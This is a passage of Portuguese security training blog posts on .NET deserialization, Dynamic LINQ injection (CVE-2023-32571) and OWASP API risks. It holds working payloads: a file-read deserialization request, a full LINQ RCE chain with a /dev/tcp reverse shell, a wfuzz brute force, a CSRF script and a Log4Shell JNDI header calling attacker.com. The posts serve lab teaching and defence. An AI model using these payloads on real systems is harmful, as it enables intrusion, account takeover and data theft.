    "email":"tris0n@mail.com",
    "age":16,
    "personalInfo": {
    	"$type":"PersonalInfo, Example",
    	"cpf":"999.999.999-99"
    }
}

Perceba que na propriedade "personalInfo" é retornado um objeto do tipo "PersonalInfo".

Analisando o objeto UserModel:

Observamos que no objeto "UserModel" existe a propriedade "PersonalInfo", e ela é do tipo "object". Isso implica que podemos definir qualquer tipo de objeto nessa propriedade. Ao analisar o Json que recebemos, notamos que o objeto "PersonalInfo" foi especificado na mesma forma.

Analisando o objeto "PersonalInfo":

Vemos que ele possuí apenas uma propriedade: "CPF".

Analisando o objeto "ConfigModel":

Observamos que o getter da propriedade "configContent" lê o arquivo especificado na propriedade "configPath". Em outras palavras, se conseguirmos acessar esse objeto podemos ler arquivos do servidor.
Conforme analisado anteriormente, podemos realizar uma requisição POST para a rota "/api/example" enviando um objeto do tipo "UserModel":

Ao enviar um objeto do tipo "UserModel", a aplicação retorna o próprio objeto que enviamos. Embora este endpoint aceite apenas objetos do tipo "UserModel," observamos que dentro desse objeto, a propriedade "personalInfo" aceita objetos de qualquer tipo,com isso, podemos chamar outros objetos da aplicação.

Explorando vulnerabilidade e lendo arquivos do servidor

Como visto anteriormente, existe o objeto "ConfigModel", e ao obtermos o controle nos valores de suas propriedades conseguimos ler arquivos do servidor alvo.

Podemos especificá-lo na propriedade "personalInfo":

{
    "$type":"UserModel, Example",
    "name":"tris0n",
    "email":"tris0n@mail.com",
    "age":16,
    "personalInfo":{
        "$type":"ConfigModel, Example"
    }
}

Vemos que recebemos um Json contendo as propriedades do objeto "ConfigModel". Isso significa que conseguimos chamar o objeto. Alterando a propriedade "configPath" para "/etc/passwd", conseguimos ler o arquivo com sucesso:

Payload utilizada:

{
	"$type":"UserModel, Example",
	"name":"tris0n",
	"email":"tris0n@mail.com",
	"age":16,
	"personalInfo":{
	"$type":"ConfigModel, Example",
		"configPath": "/etc/passwd"
	}
}

Exploração utilizando curl:

curl http://localhost:5023/api/example -H "Content-type: application/json" -d '{"$type":"UserModel, Example","name":"tris0n","email":"tris0n@mail.com","age":16,"personalInfo":{"$type":"ConfigModel, Example", "configPath": "/etc/passwd"}}' | jq

Nesse cenário específico foi possível ler arquivos do servidor, mas em outros cenários, talvez conseguiríamos apenas um DoS, ou até mesmo um RCE, assim comprometendo o servidor alvo.

A desserialização insegura será diferente em cada aplicação, e se tivermos acesso ao código fonte, a possibilidade de obtermos RCE são significativas.

Esse post abordou apenas uma maneira de explorar desserialização insegura, utilizando TypeNameHandling da biblioteca Newtonsoft Json.NET. No entanto, existem diversas formas de ataques à desserialização insegura em ASP.NET Core.

Observação: O laboratório utilizado nesse post está disponibilizado em nosso github. Acesse o link do repositório abaixo:

blog/chall-dotnet-deserialization at main · crowsec-edtech/blog

Repository for blog labs. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

GitHubcrowsec-edtech

Onde encontramos desserialização insegura?

Como dito anteriormente, para explorarmos desserialização insegura e impactarmos o servidor de uma maneira significativa, precisamos analisar o código da aplicação alvo. Seguindo essa linha de pensamento, a desserialização insegura é muito encontrada em aplicações e bibliotecas open-source que manipulam dados serializados, pois temos acesso livre ao código fonte. Veja abaixo algumas CVEs que exploram desserialização insegura:

CVE-2019-18935: Remote Code Execution via Insecure Deserialization in…

Telerik UI for ASP.NET AJAX insecurely deserializes JSON objects resulting in arbitrary RCE. Learn how to patch and securely configure this software.

Bishop FoxCaleb Gross, Director of Capability Development

Zero Day Initiative — CVE-2022-38108: RCE in SolarWinds Network Performance Monitor

In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Justin Hong and Lucas Miller of the Trend Micro Research Team detail a recently patched remote code execution vulnerability in the SolarWinds Network Performance Monitor. This bug was originally discovered and repo

Zero Day Initiative

GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution

GreenShot 1.2.10 - Insecure Deserialization Arbitrary Code Execution. CVE-2023-34634 . local exploit for Windows platform

Exploit Databasep4r4bellum

Laboratório utilizado:

blog/chall-dotnet-deserialization at main · crowsec-edtech/blog

Repository for blog labs. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

GitHubcrowsec-edtech

Referências

Serializing and Deserializing JSON

Json.NET

OWASP Top Ten 2017 | A8:2017-Insecure Deserialization | OWASP Foundation

A8:2017-Insecure Deserialization on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

OWASP logo

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

Onde praticar desserialização insegura ?

Atualmente o hackingclub possuí diversos CTFs em que podem ser explorados desserialização insegura, em diversos contextos e linguagens diferentes.

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 100 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.

Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!

A Dynamic LINQ Injection é uma vulnerabilidade pouco conhecida, porém crítica, explorada em pesquisas de Cyber Security, pentests avançados e desafios de CTF (Capture The Flag). Essa falha permite que atacantes manipulem consultas dinâmicas em aplicações desenvolvidas com C# e .NET Core, podendo resultar em Remote Code Execution (RCE) e comprometimento total do servidor.

Neste artigo, você entenderá como essa vulnerabilidade surge a partir do uso inseguro do Dynamic LINQ, uma biblioteca amplamente utilizada para consultas dinâmicas em coleções de dados dentro do ecossistema .NET.

O que é o Dynamic Linq?

O Dynamic LINQ (System.Linq.Dynamic.Core) é uma biblioteca que estende os recursos do Language Integrated Query (LINQ), permitindo a construção de consultas dinâmicas semelhantes a SQL para manipulação de arrays, listas e bases de dados em memória. Embora extremamente poderosa para aplicações corporativas, sua utilização sem validação adequada pode abrir portas para ataques de injeção.

O que é Dynamic Linq injection?

O Dynamic Linq injection é uma vulnerabilidade que permite que um atacante injete queries Linq, obtendo assim dados aos quais não deveria ter acesso.

Observe que o código abaixo concatena o input do usuário diretamente na query Linq:

Ao acessar o endpoint, é possível realizar pesquisa na lista de produtos:

Inserindo pple") || 1=1 || Name.Contains(" , conseguimos injetar query Linq:

Observe que foram retornados todos os produtos da lista.

O Linq injection não ocorre apenas quando concatenamos o input do usuário em uma query do tipo "Where". Algumas aplicações inserem o input do usuário diretamente na função OrderBy, como na imagem abaixo:

Inserindo Name no parêmetro "field", realizamos um orderBy pelo campo "Name". No entanto, se inserirmos Name descending percebemos que a aplicação entende nossa query:

Dynamic Linq injection to RCE

Em 13 de junho de 2023, a NCC Group conduziu uma pesquisa na biblioteca System.Linq.Dynamic.Core e descobriu uma maneira de invocar métodos da aplicação por meio da query do Dynamic Linq.

Ao permitir a chamada métodos, tornou-se possível utilizar a System.Diagnostics.Process para executar comandos no sistema. Diante disso, a NCC Group reportou uma CVE (CVE-2023-32571) classificada como crítica, pois permite RCE.

Um artigo foi publicado no dia 13 de junho explicando como explorar a vulnerabilidade, embora não detalhe o processo de como chegaram nesta vulnerabilidade, e nem como era possível executar comandos remotamente na aplicação.

Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)

Product Details NameSystem.Linq.Dynamic.CoreAffected versions1.0.7.10 to 1.2.25Fixed versions>= 1.3.0URL Vulnerability Summary CVECVE-2023-32571CWECWE-184: Incomplete List of Disallowed InputsCV…

NCC Group Research BlogRoss Bradley

Após algumas horas de pesquisa, observamos que não há nenhuma POC disponível para essa vulnerabilidade, então decidimos estudar com profundidade a vulnerabilidade para criar uma payload que permite RCE.

Criando payload

Conforme destacado no artigo da NCC Group, temos a capacidade de invocar métodos da aplicação, então nosso foco é chegar ao método System.Diagnostics.Process.Start, assim podemos executar comandos no sistema.

A forma de chamar os métodos da aplicação é por meio das subclasses da classe "String". Infelizmente, não é possível invocar a System.Diagnostics.Process diretamente, uma vez que não está entre as subclasses da classe 'String'.

Após algumas pesquisas, encontramos uma payload de 2016 que explorava RCE no Dynamic Linq. Embora esteja totalmente desatualizada, essa descoberta foi bastante útil na criação da payload.

Linq Injection – From Attacking Filters to Code Execution

Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It’s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in a…

Insinuator.netTimo Schmid

Ao estudar essa payload, observamos que ela utilizava o método System.AppDomain.CreateInstanceAndUnwrap para invocar um método através de seu assembly. Com isso, podemos utilizá-la para invocar a System.Diagnostics.Process

A Payload abaixo invoca o método System.AppDomain.CreateInstanceAndUnwrap:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke()

Observe que acessamos os "DefinedTypes" (subclasses) da classe String. Entre eles, temos o "System.AppDomain", cujo o "Name" é apenas "AppDomain". Listando os "DeclaredMethods" conseguimos chegar ao método "CreateInstanceAndUnwrap".

Com acesso ao método "CreateInstanceAndUnwrap", podemos invocá-lo e utilizá-lo para chegarmos na classe System.Diagnostics.Process.

A Payload abaixo invoca o método System.AppDomain.CreateInstanceAndUnwrap e chama a classe System.Diagnostics.Process:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

A payload é extensa mas com calma e foco conseguimos entende-la.

Observe que a estrutura do método Invoke é essa:

Se vamos utilizar o .Invoke() no método CreateInstanceAndUnwrap, precisamos fornecer 2 parâmetros:

• A instancia do objeto onde está o método, no caso: System.AppDomain
• Um array de parâmetros que será passado para o método "CreateInstanceAndUnwrap"

Para obtermos a instância da classe "System.AppDomain" temos que acessar o valor da propriedade "CurrentDomain", pois o valor dela é a instância da própria classe. Para isso, utilizamos esse trecho de código:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null)

Agora precisamos fornecer o segundo parâmetro para a função .Invoke(). O segundo parâmetro será um array de parâmetros que serão fornecidos para o método CreateInstanceAndUnwrap.

O método CreateInstanceAndUnwrap requer 2 parâmetros:

• O assemblyName da classe que queremos chamar
• O nome da classe que queremos chamar

Ou seja, precisamos fornecer um array para o Invoke() com duas strings, uma com o assemblyName, e a outro com o nome da classe que queremos chamar. Para isso, utilizamos esse trecho de código:

"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())

Observe que passamos apenas uma string, e utilizamos a função "Split" para dividir a string entre o ";" transformado-a em um array. O array resultante seria:

["System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089", "System.Diagnostics.Process"]

Entendido todo o fluxo, analise a payload abaixo novamente para melhor entendimento:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Essa payload retorna a instância da classe "System.Diagnostics.Process".

Com isso, podemos acessar a lista de métodos da classe "Process" e chamar o método "Start" que é responsável por executar comandos no sistema operacional:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last()

Veja que acessamos os "DefinedTypes" e chamamos a própria classe (Process).

Acessando os "DeclaredMethods", é possível chamar o método "Start" e na payload, utilizamos .Take(3).Last(). Isso foi utilizado para chegar no método "Start" correto, pois por algum motivo, na lista de métodos da classe "System.Diagnostics.Process" tinham vários métodos com o nome "Start", e o que precisamos é o terceiro da lista.

Com acesso ao método Start podemos utilizar o Invoke para invocar o método e passar os parâmetros necessários para a execução de comandos.

Como o método Start é estático, não é necessário fornecer a instância da classe System.Diagnostics.Process para o método Invoke.

A Payload abaixo invoca o método Start e executa comandos no sistema:

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "/bin/bash;-c id".Split(";".ToCharArray()))

Veja que passamos "null" como primeiro parâmetro para oInvoke, não é necessário fornecer a instância do objeto para um método estático.

Analisando a estrutura da função System.Diagnostics.Process.Start, vemos que ela necessita de 2 argumentos:

• Filename: Binário que será executado
• Arguments: Argumentos que serão passados para o filename

Como segundo parâmetro pra função Invoke passamos a string: "/bin/bash;-c id", porém utilizamos a função "Split" no ";" para separar a string e transformar em array. O array resultante será:

["/bin/bash", "-c id"]

Assim, o comando que será executado é:

/bin/bash -c "id"

Payload final para Linux

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Payload final para Windows

"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Obtendo RCE através do Dynamic Linq injection

Voltando na aplicação onde exploramos o Dynamic Linq injection, podemos obter RCE enviando a payload que criamos:

{
"name": "pple\") || \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/80 0>&1\\\"\".Split(\";\".ToCharArray())).ToString() == \"\" || Name.Contains(\""
}

Veja que no final da payload foi necessário colocar ".ToString()" e fazer uma comparação, pois estamos utilizando o operador "||" para fazer a injeção na query Linq, e isso requer um resultado booleano.

Sem a comparação de strings, a aplicação retorna o seguinte erro:

Então, se transformarmos o objeto em String e fazermos uma comparação, conseguimos um valor booleano.

Enviando payload e recebendo reverse shell:

Explorando no endpoint de orderBy

No endpoint onde temos controle no orderBy, basta inserir a payload sem nenhuma modificação, com isso, conseguimos explorar e obter uma reverse shell:

Laboratório utilizado

blog/chall-dynamic-linq-injection-to-rce at main · crowsec-edtech/blog

Repository for labs of the crowsec blog. Contribute to crowsec-edtech/blog development by creating an account on GitHub.

GitHubcrowsec-edtech

Referências

Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)

Product Details NameSystem.Linq.Dynamic.CoreAffected versions1.0.7.10 to 1.2.25Fixed versions>= 1.3.0URL Vulnerability Summary CVECVE-2023-32571CWECWE-184: Incomplete List of Disallowed InputsCV…

NCC Group Research BlogRoss Bradley

Linq Injection – From Attacking Filters to Code Execution

Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It’s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in a…

Insinuator.netTimo Schmid

Process.Start Method (System.Diagnostics)

Starts a process resource and associates it with a Process component.

Microsoft Learndotnet-bot

MethodBase.Invoke Method (System.Reflection)

Invokes the method or constructor reflected by this MethodInfo instance.

Microsoft Learndotnet-bot

AppDomain.CreateInstanceAndUnwrap Method (System)

Creates a new instance of a specified type.

Microsoft Learndotnet-bot

Sobre o Hacking Club

O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.

Temos mais de 140 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking. Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!

A falta de documentação completa e atualizada de APIs representa um risco crítico em ambientes modernos de Cyber Security, podendo expor endpoints esquecidos, versões obsoletas e funcionalidades não monitoradas. Essa falha de governança é conhecida como Improper Inventory Management, uma vulnerabilidade comum em ecossistemas de APIs que dificulta o controle de ativos digitais e amplia significativamente a superfície de ataque.

Reconhecida como uma das principais ameaças modernas, essa vulnerabilidade ocupa a 9ª posição no OWASP API Security Top 10, servindo como alerta para organizações que desenvolvem aplicações web, microsserviços e integrações externas. A ausência de inventário adequado pode permitir acesso não autorizado, vazamento de dados sensíveis e exploração de serviços legados sem monitoramento.

A API é vulnerável?

Uma API que possuí "pontos cegos" na documentação está vulnerável à Improper Inventory Management.

Uma API tem um "ponto cego na documentação" se:

• A finalidade de um host de API não é clara e não há respostas explícitas para as seguintes perguntas
• Em qual ambiente a API está sendo executada (por exemplo, produção, preparação, teste, desenvolvimento)?
• Quem deve ter acesso de rede à API (por exemplo, público, interno, parceiros)?
• Qual versão da API está em execução?
• Não há documentação ou a documentação existente não está atualizada.
• Não há plano de aposentadoria para cada versão da API.
• O inventário do host está ausente ou desatualizado.

Uma API tem um "ponto cego no fluxo de dados" se:

• Existe um "fluxo de dados confidenciais" onde a API compartilha dados confidenciais com aplicativos de terceiros
• Não há justificativa comercial ou aprovação do fluxo
• Não há inventário ou visibilidade do fluxo
• Não há visibilidade profunda de que tipo de dados confidenciais são compartilhados

Cenários vulneráveis

Cenário #1

Uma rede social utiliza um endpoint de API para recuperar as senhas dos usuários. Esse endpoint espera um código de 6 digitos enviado para o email da conta a ser recuperada.

Um atacante descobre o email do usuário alvo e faz brute force no código de 6 digitos, porém, rapidamente ele é bloqueado. O endpoint acessado foi: "/v3/auth/reset-password".

Após um processo de enumeração, ele descobre um endpoint que não estava na documentação da API: "/v1/auth/reset-password". Pelo fato do endpoint "/v1/auth/reset-password" não estar documentado na API, os desenvolvedores não implementaram patches de segurança e atualizações.

Ao tentar brute force nesse endpoint, ele percebe que não há proteções contra esse tipo de ataque, então ele consegue rapidamente descobrir o código de 6 digitos enviado ao email do usuário e consegue alterar a senha do mesmo.

wfuzz -c -z range,000000-999999 -d "{\"code\": FUZZ}" -H "Content-type: application/json" -H "reset-password-token: xxxxx" -t 150 https://api.redesocialx.com/v1/auth/reset-password

Cenário #2

Um aplicativo de mensagens possuí um sistema onde é possível fazer integrações com aplicativos de terceiros. Esses aplicativos terão acesso a todas as mensagens particulares e grupos do usuário. Porém na API não está documentado que os aplicativos de terceiros podem acessar mensagens particulares.

Com o conhecimento de que aplicativos de terceiros podem acessar as conversas dos usuários, um grupo de hackers criam uma campanha de phishing para que vários usuários do aplicativo de mensagens utilizem o aplicativo malicioso criado pelos hackers, e assim eles conseguem visualizar mensagens, fotos, documentos pessoais entre outras coisas que os usuários compartilham em suas conversas.

Protegendo as APIs do Improper Inventory Management

Documentando todos as versões, endpoints, parâmetros entre outas funcionalidades das APIs, o time de desenvolvimento, QA e AppSec conseguem oferecer melhor suporte e proteção ao código. Grandes APIs com má documentação se tornam um pesadelo para os desenvolvedores e um presente para os hackers.

Recomendações fornecidas pela OWASP:

• Documente todos os hosts da API e aspectos importantes de cada um deles, com foco no ambiente da API (ex: produção, staging, teste, desenvolvimento), quem deve ter acesso de rede ao host (ex: público, interno, parceiros) e a versão da API.
• Documente serviços integrados e aspectos importantes como o seu papel no sistema, quais dados são trocados (fluxo de dados) e sua sensibilidade.
• Documente todos os aspectos da sua API, como autenticação, erros, redirecionamentos, limitação de taxa, cross-origin resource sharing (CORS) e endpoints, incluindo seus parâmetros, solicitações e respostas.
• Gere documentação automaticamente adotando padrões abertos. Inclua a compilação da documentação em seu pipeline de CI/CD.
• Disponibilize a documentação da API apenas para aqueles autorizados a usá-la.
• Use medidas de proteção externa, como soluções específicas de segurança de API, para todas as versões expostas de suas APIs, não apenas para a versão de produção atual.
• Evite usar dados de produção com implantações de API que não sejam de produção. Se isso for inevitável, esses endpoints deverão receber o mesmo tratamento de segurança que os de produção.
• Quando versões mais recentes de APIs incluem melhorias de segurança, realize uma análise de risco para informar as ações de mitigação necessárias para as versões mais antigas. Por exemplo, se é possível fazer backport das melhorias sem quebrar a compatibilidade da API ou se você precisa retirar a versão mais antiga rapidamente e forçar todos os clientes a migrarem para a versão mais recente.

Referências

API9:2023 Improper Inventory Management - OWASP API Security Top 10

The Ten Most Critical API Security Risks

logoOWASP API Security Project team

Security Misconfiguration é uma das vulnerabilidades mais recorrentes em ambientes modernos de Cyber Security, afetando aplicações web, APIs e infraestruturas em nuvem configuradas de forma inadequada.

Devido à sua alta incidência em cenários reais, o problema figura entre as principais ameaças listadas no OWASP API Security Top 10, ocupando a 8ª posição no ranking. Configurações incorretas podem expor dados sensíveis, permitir acesso não autorizado a funcionalidades internas e facilitar ataques como escalonamento de privilégios e comprometimento de serviços.

O que é Security Misconfiguration?

O Security Misconfiguration é uma vulnerabilidade que ocorre quando servidores, serviços, permissões ou recursos de segurança permanecem com configurações padrão, desatualizadas ou excessivamente permissivas, criando brechas que podem ser exploradas por atacantes.

Uma API pode estar vulnerável se:

• Se houver permissões configuradas incorretamente nos serviços de nuvem ou na API.
• Os patches de segurança mais recentes estão ausentes ou os sistemas estão desatualizados
• Recursos desnecessários estão ativados (por exemplo, métodos HTTP, recursos de registro)
• Existem discrepâncias na forma como as solicitações recebidas são processadas pelos servidores na cadeia de servidores HTTP
• A segurança da camada de transporte (TLS) está ausente
• As diretivas de segurança ou controle de cache não são enviadas aos clientes
• Uma política de compartilhamento de recursos entre origens (CORS) está ausente ou definida incorretamente
• As mensagens de erro expõem outras informações confidenciais

Exemplos de cenários de ataque:

Cenário 1

Uma API possuí o endpoint /v1/profile/update, ele permite com que o usuário atualize sua senha, email, endereço, etc... Na etapa de configuração de CORS, o Access-Control-Allow-Origin foi configurado para permitir requisições de qualquer origem:

HTTP/1.1 200 OK
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
...

{
    "status": "success",
    "message": "updated"
}

Isso permite com que um atacante roube contas explorando uma vulnerabilidade conhecida como CSRF.

Considere que a API vulnerável está em "https://sitealvo.com/api".

Um atacante poderia criar um site com um javascript malicioso para atualizar as informações das vítimas automaticamente:

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hello</title>
    <script src="malicious.js"></script>
</head>
<body>
    <h1>Hello</h1>
</body>
</html>

malicious.js

const malicious_data = {"email": "attacker.csrf@mail.com", "password": "newpassword123"}

fetch("https://sitealvo.com/api/v1/profile/update", {
    method: "POST",
    headers: {
        "Content-type": "application/json"
    },
    body: JSON.stringify(malicious_data)
});

Assim que um usuário do site "https://sitealvo.com" acessar o site do atacante, seus dados serão atualizados.

Para previnir esse ataque basta configurar o header Access-Control-Allow-Origin para permitir apenas requisições que tenham origem do próprio domínio:

HTTP/1.1 200 OK
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *.sitealvo.com
...

{
    "status": "success",
    "message": "updated"
}

Cenário 2

Uma API utiliza o Log4j-api para gravar as requisições dos usuários em um arquivo de log. Se o Log4j-api não estiver atualizado, e o usuário tiver controle sobre o conteúdo armazenado nos arquivos de log, seria extremamente prejudicial para a aplicação, pois um atacante conseguiria explorar uma vulnerabilidade no Log4j conhecida como Log4shell, conseguindo RCE no servidor.

Supondo que a aplicação armazene todos os dados de uma requisição no arquivo de log, um atacante poderia enviar a seguinte requisição maliciosa para obter RCE:

GET /api/v1/users/3
Content-type: application/json
X-XPL-HEADER: ${jndi:ldap://attacker.com/Malicious.class}
X-Access-Token: xxx.xxx.xxx

E para gerar e hospedar a classe maliciosa, ele poderia utilizar exploits públicos, como de exemplo:

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

GitHubkozmer

O problema nesse cenário é que o Log4j está desatualizado, e isso prejudicou a aplicação, porém se ele for atualizado, a vulnerabilidade será corrigida.

Cenário 3

Um website utiliza o EJS para servir seus templates e arquivos estáticos. No seu desenvolvimento, o programador configurou o EJS para servir a pasta "./public", assim quando o usuário acessar "/images/crowsec.png" o arquivo "./public/images/crowsec.png" será enviado como resposta.

const express = require('express');
const app = express()

app.set('view engine', 'ejs')
app.use('/', express.static('./public/'));

...

Porém após uma manutenção no código, o desenvolvedor adicionou o seguinte código:

const express = require('express');
const app = express();

app.set('view engine', 'ejs')
app.use('/public/', express.static('./public/'));
app.use('/', express.static('/'));

...

Agora esse código possuí uma misconfiguration, pois está servindo a raiz do sistema como diretório para arquivos estáticos. Com isso, um usuário mal intencionado consegue ler arquivos do sistema, como o /etc/passwd. Usando o CURL para isso:

curl http://site.com/etc/passwd

Uma prática muito importante é configurar para servir apenas os diretórios/arquivos que estão no diretório da aplicação usando "__dirname":

const express = require('express');
const app = express();

app.set('view engine', 'ejs')
app.use('/public/', express.static(__dirname + '/public'));

Referências

API8:2023 Security Misconfiguration - OWASP API Security Top 10

The Ten Most Critical API Security Risks

logoOWASP API Security Project team

What is CORS (cross-origin resource sharing)? Tutorial & Examples | Web Security Academy

In this section, we will explain what cross-origin resource sharing (CORS) is, describe some common examples of cross-origin resource sharing based attacks, ...

Web Security Academy

GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.

GitHubkozmer

A vulnerabilidade Unrestricted Access to Sensitive Business Flows destaca um dos riscos mais críticos em arquiteturas modernas de APIs, permitindo que atacantes abusem de fluxos lógicos essenciais da aplicação sem restrições adequadas de segurança.

Devido à sua relevância em cenários reais, essa vulnerabilidade foi oficialmente incluída no OWASP API Security Top 10 (2023), ocupando a 6ª posição no ranking. O problema é especialmente comum em aplicações que expõem serviços financeiros, plataformas de e-commerce, sistemas de autenticação e APIs que dependem de validações insuficientes de contexto e comportamento do usuário.

O que é o Unrestricted Access to Sensitive Business Flows?

O Unrestricted Access to Sensitive Business Flows é o tipo de vulnerabilidade que não explora necessariamente um bug técnico, mas sim fraquezas na lógica de negócios, possibilitando automação de processos sensíveis, fraudes e abuso de funcionalidades críticas.

Exemplos de cenários vulneráveis:

Cenário #1

Imagine que um sistema de reservas de quartos de hotel em São Paulo dependa de uma API para processar essas reservas. Se essa API não possuir um mecanismo de controle de acesso adequado e permitir que um invasor tenha acesso irrestrito ao endpoint responsável pelo registro de reservas, essa pessoa mal-intencionada poderia criar um grande número de reservas em um hotel específico. Isso causaria prejuízos tanto aos clientes afetados quanto à receita do próprio hotel.

Exemplo de endpoint vulnerável

Veja que o endpoint "/api/v1/booking" cria uma reserva:

Com a seguinte POC, conseguimos criar diversas reservas:

import requests, sys

users = [
    {
        "name": "Catarina Santos",
        "cpf": "111.111.111-11",
        "email": "catarina@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "11"
    },
    {
        "name": "Lucas Oliveira",
        "cpf": "222.222.222-22",
        "email": "lucas@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "12"
    },
    {
        "name": "Sofia Rodrigues",
        "cpf": "333.333.333-33",
        "email": "sofia@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "13"
    },
    {
        "name": "Guilherme Silva",
        "cpf": "444.444.444-44",
        "email": "guilherme@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "14"
    },
    {
        "name": "Mariana Costa",
        "cpf": "555.555.555-55",
        "email": "mariana@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "21"
    },
    {
        "name": "Miguel Pereira",
        "cpf": "666.666.666-66",
        "email": "miguel@mail.com",
        "card":"xxx.xxx.xxx",
        "room": "22"
    },
    {
        "name": "Beatriz Almeida",
        "cpf": "777.777.777-77",
        "email": "beatriz@mail.com",
